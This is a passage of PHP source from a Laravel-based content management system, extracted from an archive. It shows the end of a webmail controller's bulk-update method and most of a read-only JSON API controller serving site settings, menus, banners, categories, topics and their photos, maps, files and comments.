redirect()->action('WebmailsController@index'); } else { return redirect()->action('WebmailsController@index'); } } /** * Update all selected resources in storage. * * @param \Illuminate\Http\Request $request * @param buttonNames , array $ids[] * @return \Illuminate\Http\Response */ public function updateAll(Request $request) { // if ($request->action == "read") { Webmail::wherein('id', $request->ids) ->update(['status' => 1]); } elseif ($request->action == "unread") { Webmail::wherein('id', $request->ids) ->update(['status' => 0]); } elseif ($request->action == "delete") { // Check Permissions if (!@Auth::user()->permissionsGroup->delete_status) { return Redirect::to(route('NoPermission'))->send(); } // Delete files $WebmailsFiles = WebmailsFile::wherein('webmail_id', $request->ids)->get(); foreach ($WebmailsFiles as $WebmailsFile) { if ($WebmailsFile->file != "") { File::delete($this->getUploadPath() . $WebmailsFile->file); } } WebmailsFile::wherein('webmail_id', $request->ids) ->delete(); Webmail::wherein('id', $request->ids) ->delete(); } elseif ($request->action == "move") { Webmail::wherein('id', $request->ids) ->update(['group_id' => $request->group]); } return redirect()->action('WebmailsController@index')->with('doneMessage2', trans('backLang.saveDone')); } }PKVZ))#Http/Controllers/APIsController.phpnu[ API v1 | Restful Web Services
Restful Web Services:
----------------------------------------
{ GET } /api/v1/website/status
{ GET } /api/v1/website/info
{ GET } /api/v1/website/contacts
{ GET } /api/v1/website/style
{ GET } /api/v1/website/social
{ GET } /api/v1/website/settings
{ GET } /api/v1/menu/
{ GET } /api/v1/banners/
{ GET } /api/v1/section/
{ GET } /api/v1/categories/
{ GET } /api/v1/topics/
{ GET } /api/v1/topic/
{ GET } /api/v1/topic/fields/
{ GET } /api/v1/topic/photos/
{ GET } /api/v1/topic/photo/
{ GET } /api/v1/topic/maps/
{ GET } /api/v1/topic/map/
{ GET } /api/v1/topic/files/
{ GET } /api/v1/topic/file/
{ GET } /api/v1/topic/comments/
{ GET } /api/v1/topic/comment/
{ GET } /api/v1/topic/related/
{ GET } /api/v1/user/
{ POST } /api/v1/subscribe
{ POST } /api/v1/comment
{ POST } /api/v1/order
{ POST } /api/v1/contact
----------------------------------------
For more details check API documentation
"; exit(); } /** * Display a listing of the resource. * * @return \Illuminate\Http\Response */ public function website_status() { // Get Site Settings $Setting = Setting::find(1); // Response Details $msg = ""; if ($Setting->site_status == 0) { $msg = nl2br($Setting->close_msg); } $response_details = [ 'status' => $Setting->site_status, 'close_msg' => $msg ]; // Response MSG $response = [ 'msg' => 'Website Status details', 'details' => $response_details ]; return response()->json($response, 200); } //Language check /** * Display a listing of the resource. * * @return \Illuminate\Http\Response */ public function website_info($lang = '') { // Get Site Settings $Setting = Setting::find(1); // By Language $lang = $this->getLanguage($lang); $site_title_var = "site_title_$lang"; $site_desc_var = "site_desc_$lang"; $site_keywords_var = "site_keywords_$lang"; // Response Details $response_details = [ 'site_url' => $Setting->site_url, 'site_title' => $Setting->$site_title_var, 'site_desc' => $Setting->$site_desc_var, 'site_keywords' => $Setting->$site_keywords_var, 'site_webmails' => $Setting->site_webmails ]; // Response MSG $response = [ 'msg' => 'Main information about the Website', 'details' => $response_details ]; return response()->json($response, 200); } /** * Language Check */ public function getLanguage($lang) { // List of active languages for API $languages = array("ar", "en"); if ($lang == "" || !in_array($lang, $languages)) { $lang = env('DEFAULT_LANGUAGE'); } return $lang; } /** * Display a listing of the resource. * * @return \Illuminate\Http\Response */ public function website_contacts($lang = '') { // Get Site Settings $Setting = Setting::find(1); // By Language $lang = $this->getLanguage($lang); $address_var = "contact_t1_$lang"; $working_time_var = "contact_t7_$lang"; // Response Details $response_details = [ 'address' => $Setting->$address_var, 'phone' => $Setting->contact_t3, 'fax' => $Setting->contact_t4, 'mobile' => $Setting->contact_t5, 'email' => $Setting->contact_t6, 'working_time' => $Setting->$working_time_var ]; // Response MSG $response = [ 'msg' => 'List of Contacts Details', 'details' => $response_details ]; return response()->json($response, 200); } /** * Display a listing of the resource. * * @return \Illuminate\Http\Response */ public function website_style($lang = '') { // Get Site Settings $Setting = Setting::find(1); // By Language $lang = $this->getLanguage($lang); $style_logo_var = "style_logo_$lang"; // Response Details $response_details = [ 'logo' => ($Setting->$style_logo_var != "") ? url("") . "/uploads/settings/" . $Setting->$style_logo_var : null, 'fav_icon' => ($Setting->style_fav != "") ? url("") . "/uploads/settings/" . $Setting->style_fav : null, 'apple_icon' => ($Setting->style_apple != "") ? url("") . "/uploads/settings/" . $Setting->style_apple : null, 'style_color_1' => $Setting->style_color1, 'style_color_2' => $Setting->style_color2, 'layout_mode' => $Setting->style_type, 'bg_type' => $Setting->style_bg_type, 'bg_pattern' => ($Setting->style_bg_pattern != "") ? url("") . "/uploads/pattern/" . $Setting->style_bg_pattern : null, 'bg_color' => $Setting->style_bg_color, 'bg_image' => ($Setting->style_bg_image != "") ? url("") . "/uploads/settings/" . $Setting->style_bg_image : null, 'footer_style' => $Setting->style_footer, 'footer_bg' => ($Setting->style_footer_bg != "") ? url("") . "/uploads/settings/" . $Setting->style_footer_bg : null, 'newsletter_subscribe_status' => $Setting->style_subscribe, 'preload_status' => $Setting->style_preload ]; // Response MSG $response = [ 'msg' => 'List of Style Settings', 'details' => $response_details ]; return response()->json($response, 200); } /** * Display a listing of the resource. * * @return \Illuminate\Http\Response */ public function website_social() { // Get Site Settings $Setting = Setting::find(1); // Response Details $response_details = [ 'facebook' => $Setting->social_link1, 'twitter' => $Setting->social_link2, 'google' => $Setting->social_link3, 'linkedin' => $Setting->social_link4, 'youtube' => $Setting->social_link5, 'instagram' => $Setting->social_link6, 'pinterest' => $Setting->social_link7, 'tumblr' => $Setting->social_link8, 'flickr' => $Setting->social_link9, 'whatsapp' => $Setting->social_link10, ]; // Response MSG $response = [ 'msg' => 'List of Social Networks Links', 'details' => $response_details ]; return response()->json($response, 200); } /** * Display a listing of the resource. * * @return \Illuminate\Http\Response */ public function website_settings() { // Get Site Settings $WebmasterSetting = WebmasterSetting::find(1); // Response Details $response_details = [ 'languages_count' => $WebmasterSetting->languages_count, 'new_comments_status' => $WebmasterSetting->new_comments_status, 'allow_register_status' => $WebmasterSetting->register_status, 'register_permission_group' => $WebmasterSetting->permission_group, 'contact_text_page_id' => $WebmasterSetting->contact_page_id, 'header_menu_id' => $WebmasterSetting->header_menu_id, 'footer_menu_id' => $WebmasterSetting->footer_menu_id, 'latest_news_section_id' => $WebmasterSetting->latest_news_section_id, 'newsletter_contacts_group' => $WebmasterSetting->newsletter_contacts_group, 'home_content1_section_id' => $WebmasterSetting->home_content1_section_id, 'home_content2_section_id' => $WebmasterSetting->home_content2_section_id, 'home_content3_section_id' => $WebmasterSetting->home_content3_section_id, 'home_banners_section_id' => $WebmasterSetting->home_banners_section_id, 'home_text_banners_section_id' => $WebmasterSetting->home_text_banners_section_id, 'side_banners_section_id' => $WebmasterSetting->side_banners_section_id ]; // Response MSG $response = [ 'msg' => 'General Website Settings', 'details' => $response_details ]; return response()->json($response, 200); } /** * Display a listing of the resource. * * @return \Illuminate\Http\Response */ public function menu($menu_id, $lang = '') { if ($menu_id > 0) { // Get menu details $Menu = Menu::where('father_id', $menu_id)->where('status', 1)->orderby('row_no', 'asc')->get(); if (count($Menu) > 0) { // By Language $lang = $this->getLanguage($lang); $title_var = "title_$lang"; // Response Details $response_details = []; foreach ($Menu as $MenuLink) { $SubMenu = Menu::where('father_id', $MenuLink->id)->where('status', 1)->orderby('row_no', 'asc')->get(); $sub_response_details = []; if (count($SubMenu) > 0) { foreach ($SubMenu as $SubMenuLink) { $m_link = ""; if ($SubMenuLink->type == 3 || $SubMenuLink->type == 2) { $m_link = $SubMenuLink->webmasterSection->name; } elseif ($SubMenuLink->type == 1) { $m_link = $MenuLink->link; } $sub_response_details[] = [ 'id' => $SubMenuLink->id, 'title' => $SubMenuLink->$title_var, 'section_id' => $SubMenuLink->cat_id, 'href' => $m_link ]; } } $m_link = ""; $sub_count = count($SubMenu); if ($MenuLink->type == 3) { // Section with drop list $m_link = $MenuLink->webmasterSection->name; $sub_count = count($MenuLink->webmasterSection->sections); foreach ($MenuLink->webmasterSection->sections as $SubSection) { $sub_response_details[] = [ 'id' => $SubSection->id, 'title' => $SubSection->$title_var, 'section_id' => $MenuLink->cat_id, 'href' => "topics/cat/" . $SubSection->id ]; } } elseif ($MenuLink->type == 2) { // Section Link $m_link = $MenuLink->webmasterSection->name; } elseif ($MenuLink->type == 1) { $m_link = $MenuLink->link; } $response_details[] = [ 'id' => $MenuLink->id, 'title' => $MenuLink->$title_var, 'section_id' => $MenuLink->cat_id, 'href' => $m_link, 'sub_links_count' => $sub_count, 'sub_links' => $sub_response_details ]; // sub links } // Response MSG $response = [ 'msg' => 'List of Menu Links', 'links_count' => count($Menu), 'links' => $response_details ]; return response()->json($response, 200); } else { // Empty MSG $response = [ 'msg' => 'There is no data' ]; return response()->json($response, 200); } } else { // Empty MSG $response = [ 'msg' => 'There is no data' ]; return response()->json($response, 404); } } /** * Display a listing of the resource. * * @return \Illuminate\Http\Response */ public function banners($group_id, $lang = '') { if ($group_id > 0) { // Get banners $Banners = Banner::where('section_id', $group_id)->where('status', 1)->orderby('row_no', 'asc')->get(); if (count($Banners) > 0) { // By Language $lang = $this->getLanguage($lang); $title_var = "title_$lang"; $details_var = "details_$lang"; $file_var = "file_$lang"; // Response Details $response_details = []; $type = ""; foreach ($Banners as $Banner) { $type = $Banner->webmasterBanner->type; $response_details[] = [ 'id' => $Banner->id, 'title' => $Banner->$title_var, 'details' => nl2br($Banner->$details_var), 'file' => ($Banner->$file_var != "") ? url("") . "/uploads/banners/" . $Banner->$file_var : null, 'video_type' => $Banner->video_type, 'youtube_link' => $Banner->youtube_link, 'link_url' => $Banner->link_url, 'icon' => $Banner->icon ]; } // Response MSG $response = [ 'msg' => 'List of Banners', 'type' => $type, 'banners_count' => count($Banners), 'banners' => $response_details ]; return response()->json($response, 200); } else { // Empty MSG $response = [ 'msg' => 'There is no data' ]; return response()->json($response, 200); } } else { // Empty MSG $response = [ 'msg' => 'There is no data' ]; return response()->json($response, 404); } } /** * Display a listing of the resource. * * @return \Illuminate\Http\Response */ public function section($section_id, $lang = '') { if ($section_id > 0) { // Get categories $WebmasterSections = WebmasterSection::where('id', $section_id)->where('status', 1)->get(); if (count($WebmasterSections) > 0) { // By Language $lang = $this->getLanguage($lang); $title_var = "title_$lang"; $section_name = ""; $section_title = ""; $type = ""; $sections_status = ""; // Response Details $response_details = []; foreach ($WebmasterSections as $WebmasterSection) { $type = $WebmasterSection->type; $sections_status = $WebmasterSection->sections_status; $section_name = $WebmasterSection->name; $section_title = trans('backLang.' . $WebmasterSection->name, [], $lang); } // Response MSG $response = [ 'msg' => 'Website Section Details', 'section_id' => $section_id, 'title' => $section_title, 'href' => "/" . $WebmasterSection->name, 'type' => $type, 'categories_status' => $sections_status ]; return response()->json($response, 200); } else { // Empty MSG $response = [ 'msg' => 'There is no data' ]; return response()->json($response, 200); } } else { // Empty MSG $response = [ 'msg' => 'There is no data' ]; return response()->json($response, 404); } } /** * Display a listing of the resource. * * @return \Illuminate\Http\Response */ public function categories($section_id, $lang = '') { if ($section_id > 0) { // Get categories $Sections = Section::where('webmaster_id', $section_id)->where('father_id', '0')->where('status', 1)->orderby('row_no', 'asc')->get(); if (count($Sections) > 0) { // By Language $lang = $this->getLanguage($lang); $title_var = "title_$lang"; $section_name = ""; $type = ""; $section_title = ""; // Response Details $response_details = []; foreach ($Sections as $Section) { $type = $Section->webmasterSection->type; $section_name = $Section->webmasterSection->name; $section_title = trans('backLang.' . $Section->webmasterSection->name, [], $lang); $SubSections = Section::where('webmaster_id', $section_id)->where('father_id', $Section->id)->where('status', 1)->orderby('row_no', 'asc')->get(); $sub_response_details = []; foreach ($SubSections as $SubSection) { $sub_response_details[] = [ 'id' => $SubSection->id, 'title' => $SubSection->$title_var, 'icon' => $SubSection->icon, 'photo' => ($SubSection->photo != "") ? url("") . "/uploads/sections/" . $SubSection->photo : null, 'href' => "topics/cat/" . $SubSection->id, ]; } $response_details[] = [ 'id' => $Section->id, 'title' => $Section->$title_var, 'icon' => $Section->icon, 'photo' => ($Section->photo != "") ? url("") . "/uploads/sections/" . $Section->photo : null, 'href' => "topics/cat/" . $Section->id, 'sub_categories_count' => count($SubSections), 'sub_categories' => $sub_response_details ]; } // Response MSG $response = [ 'msg' => 'List of Categories', 'section_id' => $section_id, 'section_title' => $section_title, 'type' => $type, 'categories_count' => count($Sections), 'categories' => $response_details ]; return response()->json($response, 200); } else { // Empty MSG $response = [ 'msg' => 'There is no data' ]; return response()->json($response, 200); } } else { // Empty MSG $response = [ 'msg' => 'There is no data' ]; return response()->json($response, 404); } } /** * Display a listing of the resource. * * @return \Illuminate\Http\Response */ public function topics($section_id, $page_number = 1, $topics_count = 0, $lang = '') { if ($section_id > 0) { if ($page_number < 1) { $page_number = 1; } Paginator::currentPageResolver(function () use ($page_number) { return $page_number; }); // Get topics $Topics = Topic::where([['webmaster_id', '=', $section_id], ['status', 1], ['expire_date', '>=', date("Y-m-d")], ['expire_date', '<>', null]])->orWhere([['webmaster_id', '=', $section_id], ['status', 1], ['expire_date', null]])->orderby('row_no', 'asc'); if ($topics_count > 0) { $Topics = $Topics->paginate($topics_count); } else { $Topics = $Topics->get(); } if (count($Topics) > 0) { // By Language $lang = $this->getLanguage($lang); $title_var = "title_$lang"; $details_var = "details_ar$lang"; $section_name = ""; $type = ""; $section_title = ""; // Response Details $response_details = []; foreach ($Topics as $Topic) { $type = $Topic->webmasterSection->type; $section_name = $Topic->webmasterSection->name; $section_title = trans('backLang.' . $Topic->webmasterSection->name, [], $lang); $Joined_categories = []; foreach ($Topic->categories as $category) { $Joined_categories[] = [ 'id' => $category->id, 'title' => $category->section->$title_var, 'icon' => $category->section->icon, 'photo' => ($category->section->photo != "") ? url("") . "/uploads/sections/" . $category->section->photo : null, 'href' => "topics/cat/" . $category->id ]; } // additional fields $Additional_fields = []; foreach ($Topic->webmasterSection->customFields as $customField) { $cf_saved_val = ""; $cf_saved_val_array = array(); if (count($Topic->fields) > 0) { foreach ($Topic->fields as $t_field) { if ($t_field->field_id == $customField->id) { if ($customField->type == 7) { // if multi check $cf_saved_val_array = explode(", ", $t_field->field_value); } else { $cf_saved_val = $t_field->field_value; } } } } if (($cf_saved_val != "" || count($cf_saved_val_array) > 0) && ($customField->lang_code == "all" || $customField->lang_code == "$lang")) { $Additional_fields[] = [ 'type' => $customField->type, 'title' => $customField->$title_var, 'value' => $cf_saved_val, ]; } } $video_file = $Topic->video_file; if ($Topic->video_type == 0) { $video_file = ($Topic->video_file != "") ? url("") . "/uploads/topics/" . $Topic->video_file : ""; } $response_details[] = [ 'id' => $Topic->id, 'title' => $Topic->$title_var, 'details' => $Topic->$details_var, 'date' => $Topic->date, 'video_type' => $Topic->video_type, 'video_file' => $video_file, 'photo_file' => ($Topic->photo_file != "") ? url("") . "/uploads/topics/" . $Topic->photo_file : null, 'audio_file' => ($Topic->audio_file != "") ? url("") . "/uploads/topics/" . $Topic->audio_file : null, 'icon' => $Topic->icon, 'visits' => $Topic->visits, 'href' => "topic/" . $Topic->id, 'fields_count' => count($Additional_fields), 'fields' => $Additional_fields, 'Joined_categories_count' => count($Topic->categories), 'Joined_categories' => $Joined_categories, 'user' => [ 'id' => $Topic->user->id, 'name' => $Topic->user->name, 'href' => "user/" . $Topic->user->id . "/topics", ] ]; } // Response MSG $response = [ 'msg' => 'List of Topics', 'section_id' => $section_id, 'section_title' => $section_title, 'type' => $type, 'topics_count' => count($Topics), 'topics' => $response_details ]; return response()->json($response, 200); } else { // Empty MSG $response = [ 'msg' => 'There is no data' ]; return response()->json($response, 200); } } else { // Empty MSG $response = [ 'msg' => 'There is no data' ]; return response()->json($response, 404); } } /** * Display a listing of the resource. * * @return \Illuminate\Http\Response */ public function topic($topic_id, $lang = '') { if ($topic_id > 0) { // Get topic details $Topics = Topic::where([['id', '=', $topic_id], ['status', 1], ['expire_date', '>=', date("Y-m-d")], ['expire_date', '<>', null]])->orWhere([['id', '=', $topic_id], ['status', 1], ['expire_date', null]])->orderby('row_no', 'asc')->get(); if (count($Topics) > 0) { // By Language $lang = $this->getLanguage($lang); $title_var = "title_$lang"; $details_var = "details_$lang"; $section_name = ""; $type = ""; $section_id = ""; $section_title = ""; // Response Details $response_details = []; foreach ($Topics as $Topic) { $type = $Topic->webmasterSection->type; $section_id = $Topic->webmasterSection->id; $section_name = $Topic->webmasterSection->name; $section_title = trans('backLang.' . $Topic->webmasterSection->name, [], $lang); // additional fields $Additional_fields = []; foreach ($Topic->webmasterSection->customFields as $customField) { $cf_saved_val = ""; $cf_saved_val_array = array(); if (count($Topic->fields) > 0) { foreach ($Topic->fields as $t_field) { if ($t_field->field_id == $customField->id) { if ($customField->type == 7) { // if multi check $cf_saved_val_array = explode(", ", $t_field->field_value); } else { $cf_saved_val = $t_field->field_value; } } } } if (($cf_saved_val != "" || count($cf_saved_val_array) > 0) && ($customField->lang_code == "all" || $customField->lang_code == "$lang")) { $Additional_fields[] = [ 'type' => $customField->type, 'title' => $customField->$title_var, 'value' => $cf_saved_val, ]; } } // categories $Joined_categories = []; foreach ($Topic->categories as $category) { $Joined_categories[] = [ 'id' => $category->id, 'title' => $category->section->$title_var, 'icon' => $category->section->icon, 'photo' => ($category->section->photo != "") ? url("") . "/uploads/sections/" . $category->section->photo : null, 'href' => "topics/cat/" . $category->id ]; } // photos $Photos = []; foreach ($Topic->photos as $photo) { $Photos[] = [ 'id' => $photo->id, 'title' => $photo->title, 'url' => ($photo->file != "") ? url("") . "/uploads/topics/" . $photo->file : null, 'href' => "/topic/photo/" . $photo->id ]; } // maps $Maps = []; foreach ($Topic->maps as $map) { $Maps[] = [ 'id' => $map->id, 'longitude' => $map->longitude, 'latitude' => $map->latitude, 'title' => $map->$title_var, 'details' => $map->$details_var, 'href' => "/topic/map/" . $map->id ]; } // attach files $Attach_files = []; foreach ($Topic->attachFiles as $attachFile) { $Attach_files[] = [ 'id' => $attachFile->id, 'title' => $attachFile->$title_var, 'url' => ($attachFile->file != "") ? url("") . "/uploads/topics/" . $attachFile->file : null, 'href' => "/topic/file/" . $attachFile->id ]; } // comments $Comments = []; foreach ($Topic->approvedComments as $comment) { $Comments[] = [ 'id' => $comment->id, 'name' => $comment->name, 'email' => $comment->email, 'date' => $comment->date, 'comment' => nl2br($comment->comment), 'href' => "/topic/comment/" . $comment->id ]; } // related topics $Related_topics = []; foreach ($Topic->relatedTopics as $relatedTopic) { $Related_topics[] = [ 'id' => $relatedTopic->topic->id, 'title' => $relatedTopic->topic->$title_var, 'date' => $relatedTopic->topic->date, 'href' => "topic/" . $relatedTopic->topic->id, 'photo_file' => ($relatedTopic->topic->photo_file != "") ? url("") . "/uploads/topics/" . $relatedTopic->topic->photo_file : null ]; } $video_file = $Topic->video_file; if ($Topic->video_type == 0) { $video_file = ($Topic->video_file != "") ? url("") . "/uploads/topics/" . $Topic->video_file : ""; } $response_details[] = [ 'id' => $Topic->id, 'title' => $Topic->$title_var, 'details' => $Topic->$details_var, 'date' => $Topic->date, 'video_type' => $Topic->video_type, 'video_file' => $video_file, 'photo_file' => ($Topic->photo_file != "") ? url("") . "/uploads/topics/" . $Topic->photo_file : null, 'audio_file' => ($Topic->audio_file != "") ? url("") . "/uploads/topics/" . $Topic->audio_file : null, 'icon' => $Topic->icon, 'visits' => $Topic->visits, 'href' => "topic/" . $Topic->id, 'fields_count' => count($Additional_fields), 'fields' => $Additional_fields, 'Joined_categories_count' => count($Joined_categories), 'Joined_categories' => $Joined_categories, 'photos_count' => count($Photos), 'photos' => $Photos, 'attach_files_count' => count($Attach_files), 'attach_files' => $Attach_files, 'maps_count' => count($Maps), 'maps' => $Maps, 'comments_count' => count($Comments), 'comments' => $Comments, 'related_topics_count' => count($Related_topics), 'related_topics' => $Related_topics, 'user' => [ 'id' => $Topic->user->id, 'name' => $Topic->user->name, 'href' => "user/" . $Topic->user->id . "/topics", ] ]; } // Response MSG $response = [ 'msg' => 'Details of topic', 'section_id' => $section_id, 'section_title' => $section_title, 'type' => $type, 'topic' => $response_details ]; return response()->json($response, 200); } else { // Empty MSG $response = [ 'msg' => 'There is no data' ]; return response()->json($response, 200); } } else { // Empty MSG $response = [ 'msg' => 'There is no data' ]; return response()->json($response, 404); } } /** * Display a listing of the resource. * * @return \Illuminate\Http\Response */ public function topic_photos($topic_id, $lang = '') { if ($topic_id > 0) { // Get topic details $Topics = Topic::where([['id', '=', $topic_id], ['status', 1], ['expire_date', '>=', date("Y-m-d")], ['expire_date', '<>', null]])->orWhere([['id', '=', $topic_id], ['status', 1], ['expire_date', null]])->orderby('row_no', 'asc')->get(); if (count($Topics) > 0) { // By Language $lang = $this->getLanguage($lang); $title_var = "title_$lang"; $topic_title = ""; $photo_file = ""; // Response Details $response_details = []; foreach ($Topics as $Topic) { $topic_title = $Topic->$title_var; $photo_file = $Topic->photo_file; // photos $response_details = []; foreach ($Topic->photos as $photo) { $response_details[] = [ 'id' => $photo->id, 'title' => $photo->title, 'url' => ($photo->file != "") ? url("") . "/uploads/topics/" . $photo->file : null, 'href' => "/topic/photo/" . $photo->id ]; } } // Response MSG $response = [ 'msg' => 'Photos of topic', 'topic_id' => $topic_id, 'topic_title' => $topic_title, 'topic_link' => "topic/" . $topic_id, 'topic_photo' => ($photo_file != "") ? url("") . "/uploads/topics/" . $photo_file : null, 'photos_count' => count($response_details), 'photos' => $response_details ]; return response()->json($response, 200); } else { // Empty MSG $response = [ 'msg' => 'There is no data' ]; return response()->json($response, 200); } } else { // Empty MSG $response = [ 'msg' => 'There is no data' ]; return response()->json($response, 404); } } /** * Display a listing of the resource. * * @return \Illuminate\Http\Response */ public function topic_photo($photo_id, $lang = '') { if ($photo_id > 0) { // Get Photo details $Photo = Photo::find($photo_id); if (count($Photo) > 0) { // By Language $lang = $this->getLanguage($lang); $title_var = "title_$lang"; $topic_title = ""; $photo_file = ""; $response_details[] = [ 'id' => $Photo->id, 'title' => $Photo->title, 'url' => ($Photo->file != "") ? url("") . "/uploads/topics/" . $Photo->file : null ]; // Response MSG $response = [ 'msg' => 'Photo details', 'topic_id' => $Photo->topic_id, 'photo' => $response_details ]; return response()->json($response, 200); } else { // Empty MSG $response = [ 'msg' => 'There is no data' ]; return response()->json($response, 200); } } else { // Empty MSG $response = [ 'msg' => 'There is no data' ]; return response()->json($response, 404); } } /** * Display a listing of the resource. * * @return \Illuminate\Http\Response */ public function topic_maps($topic_id, $lang = '') { if ($topic_id > 0) { // Get topic details $Topics = Topic::where([['id', '=', $topic_id], ['status', 1], ['expire_date', '>=', date("Y-m-d")], ['expire_date', '<>', null]])->orWhere([['id', '=', $topic_id], ['status', 1], ['expire_date', null]])->orderby('row_no', 'asc')->get(); if (count($Topics) > 0) { // By Language $lang = $this->getLanguage($lang); $title_var = "title_$lang"; $details_var = "details_$lang"; $topic_title = ""; $photo_file = ""; // Response Details $response_details = []; foreach ($Topics as $Topic) { $topic_title = $Topic->$title_var; $photo_file = $Topic->photo_file; // maps $response_details = []; foreach ($Topic->maps as $map) { $response_details[] = [ 'id' => $map->id, 'longitude' => $map->longitude, 'latitude' => $map->latitude, 'title' => $map->$title_var, 'details' => $map->$details_var, 'href' => "/topic/map/" . $map->id ]; } } // Response MSG $response = [ 'msg' => 'Maps of topic', 'topic_id' => $topic_id, 'topic_title' => $topic_title, 'topic_link' => "topic/" . $topic_id, 'topic_photo' => ($photo_file != "") ? url("") . "/uploads/topics/" . $photo_file : null, 'maps_count' => count($response_details), 'maps' => $response_details ]; return response()->json($response, 200); } else { // Empty MSG $response = [ 'msg' => 'There is no data' ]; return response()->json($response, 200); } } else { // Empty MSG $response = [ 'msg' => 'There is no data' ]; return response()->json($response, 404); } } /** * Display a listing of the resource. * * @return \Illuminate\Http\Response */ public function topic_map($map_id, $lang = '') { if ($map_id > 0) { // Get map details $Map = Map::find($map_id); if (count($Map) > 0) { // By Language $lang = $this->getLanguage($lang); $title_var = "title_$lang"; $details_var = "details_$lang"; $response_details[] = [ 'id' => $Map->id, 'longitude' => $Map->longitude, 'latitude' => $Map->latitude, 'title' => $Map->$title_var, 'details' => $Map->$details_var ]; // Response MSG $response = [ 'msg' => 'Map details', 'topic_id' => $Map->topic_id, 'map' => $response_details ]; return response()->json($response, 200); } else { // Empty MSG $response = [ 'msg' => 'There is no data' ]; return response()->json($response, 200); } } else { // Empty MSG $response = [ 'msg' => 'There is no data' ]; return response()->json($response, 404); } } /** * Display a listing of the resource. * * @return \Illuminate\Http\Response */ public function topic_files($topic_id, $lang = '') { if ($topic_id > 0) { // Get topic details $Topics = Topic::where([['id', '=', $topic_id], ['status', 1], ['expire_date', '>=', date("Y-m-d")], ['expire_date', '<>', null]])->orWhere([['id', '=', $topic_id], ['status', 1], ['expire_date', null]])->orderby('row_no', 'asc')->get(); if (count($Topics) > 0) { // By Language $lang = $this->getLanguage($lang); $title_var = "title_$lang"; $topic_title = ""; $photo_file = ""; // Response Details $response_details = []; foreach ($Topics as $Topic) { $topic_title = $Topic->$title_var; $photo_file = $Topic->photo_file; // attach files $response_details = []; foreach ($Topic->attachFiles as $attachFile) { $response_details[] = [ 'id' => $attachFile->id, 'title' => $attachFile->$title_var, 'url' => ($attachFile->file != "") ? url("") . "/uploads/topics/" . $attachFile->file : null, 'href' => "/topic/file/" . $attachFile->id ]; } } // Response MSG $response = [ 'msg' => 'Attach files of topic', 'topic_id' => $topic_id, 'topic_title' => $topic_title, 'topic_link' => "topic/" . $topic_id, 'topic_photo' => ($photo_file != "") ? url("") . "/uploads/topics/" . $photo_file : null, 'files_count' => count($response_details), 'files' => $response_details ]; return response()->json($response, 200); } else { // Empty MSG $response = [ 'msg' => 'There is no data' ]; return response()->json($response, 200); } } else { // Empty MSG $response = [ 'msg' => 'There is no data' ]; return response()->json($response, 404); } } /** * Display a listing of the resource. * * @return \Illuminate\Http\Response */ public function topic_file($file_id, $lang = '') { if ($file_id > 0) { // Get topic details $AttachFile = AttachFile::find($file_id); if (count($AttachFile) > 0) { // By Language $lang = $this->getLanguage($lang); $title_var = "title_$lang"; $response_details[] = [ 'id' => $AttachFile->id, 'title' => $AttachFile->$title_var, 'url' => ($AttachFile->file != "") ? url("") . "/uploads/topics/" . $AttachFile->file : null ]; // Response MSG $response = [ 'msg' => 'Attach file details', 'topic_id' => $AttachFile->topic_id, 'file' => $response_details ]; return response()->json($response, 200); } else { // Empty MSG $response = [ 'msg' => 'There is no data' ]; return response()->json($response, 200); } } else { // Empty MSG $response = [ 'msg' => 'There is no data' ]; return response()->json($response, 404); } } /** * Display a listing of the resource. * * @return \Illuminate\Http\Response */ public function topic_comments($topic_id, $lang = '') { if ($topic_id > 0) { // Get topic details $Topics = Topic::where([['id', '=', $topic_id], ['status', 1], ['expire_date', '>=', date("Y-m-d")], ['expire_date', '<>', null]])->orWhere([['id', '=', $topic_id], ['status', 1], ['expire_date', null]])->orderby('row_no', 'asc')->get(); if (count($Topics) > 0) { // By Language $lang = $this->getLanguage($lang); $title_var = "title_$lang"; $topic_title = ""; $photo_file = ""; // Response Details $response_details = []; foreach ($Topics as $Topic) { $topic_title = $Topic->$title_var; $photo_file = $Topic->photo_file; // comments $response_details = []; foreach ($Topic->approvedComments as $comment) { $response_details[] = [ 'id' => $comment->id, 'name' => $comment->name, 'email' => $comment->email, 'date' => $comment->date, 'comment' => nl2br($comment->comment), 'href' => "/topic/comment/" . $comment->id ]; } } // Response MSG $response = [ 'msg' => 'Comments of topic', 'topic_id' => $topic_id, 'topic_title' => $topic_title, 'topic_link' => "topic/" . $topic_id, 'topic_photo' => ($photo_file != "") ? url("") . "/uploads/topics/" . $photo_file : null, 'comments_count' => count($response_details), 'comments' => $response_details ]; return response()->json($response, 200); } else { // Empty MSG $response = [ 'msg' => 'There is no data' ]; return response()->json($response, 200); } } else { // Empty MSG $response = [ 'msg' => 'There is no data' ]; return response()->json($response, 404); } } /** * Display a listing of the resource. * * @return \Illuminate\Http\Response */ public function topic_comment($comment_id, $lang = '') { if ($comment_id > 0) { // Get topic details $Comment = Comment::find($comment_id); if (count($Comment) > 0) { $response_details[] = [ 'id' => $Comment->id, 'name' => $Comment->name, 'email' => $Comment->email, 'date' => $Comment->date, 'comment' => nl2br($Comment->comment) ]; // Response MSG $response = [ 'msg' => 'Comment details', 'topic_id' => $Comment->topic_id, 'comment' => $response_details ]; return response()->json($response, 200); } else { // Empty MSG $response = [ 'msg' => 'There is no data' ]; return response()->json($response, 200); } } else { // Empty MSG $response = [ 'msg' => 'There is no data' ]; return response()->json($response, 404); } } /** * Display a listing of the resource. * * @return \Illuminate\Http\Response */ public function topic_related($topic_id, $lang = '') { if ($topic_id > 0) { // Get topic details $Topics = Topic::where([['id', '=', $topic_id], ['status', 1], ['expire_date', '>=', date("Y-m-d")], ['expire_date', '<>', null]])->orWhere([['id', '=', $topic_id], ['status', 1], ['expire_date', null]])->orderby('row_no', 'asc')->get(); if (count($Topics) > 0) { // By Language $lang = $this->getLanguage($lang); $title_var = "title_$lang"; $topic_title = ""; $photo_file = ""; // Response Details $response_details = []; foreach ($Topics as $Topic) { $topic_title = $Topic->$title_var; $photo_file = $Topic->photo_file; // related topics $response_details = []; foreach ($Topic->relatedTopics as $relatedTopic) { $response_details[] = [ 'id' => $relatedTopic->topic->id, 'title' => $relatedTopic->topic->$title_var, 'date' => $relatedTopic->topic->date, 'href' => "topic/" . $relatedTopic->topic->id, 'photo_file' => ($relatedTopic->topic->photo_file != "") ? url("") . "/uploads/topics/" . $relatedTopic->topic->photo_file : null, ]; } } // Response MSG $response = [ 'msg' => 'Related topics of topic', 'topic_id' => $topic_id, 'topic_title' => $topic_title, 'topic_link' => "topic/" . $topic_id, 'topic_photo' => ($photo_file != "") ? url("") . "/uploads/topics/" . $photo_file : null, 'related_topics_count' => count($response_details), 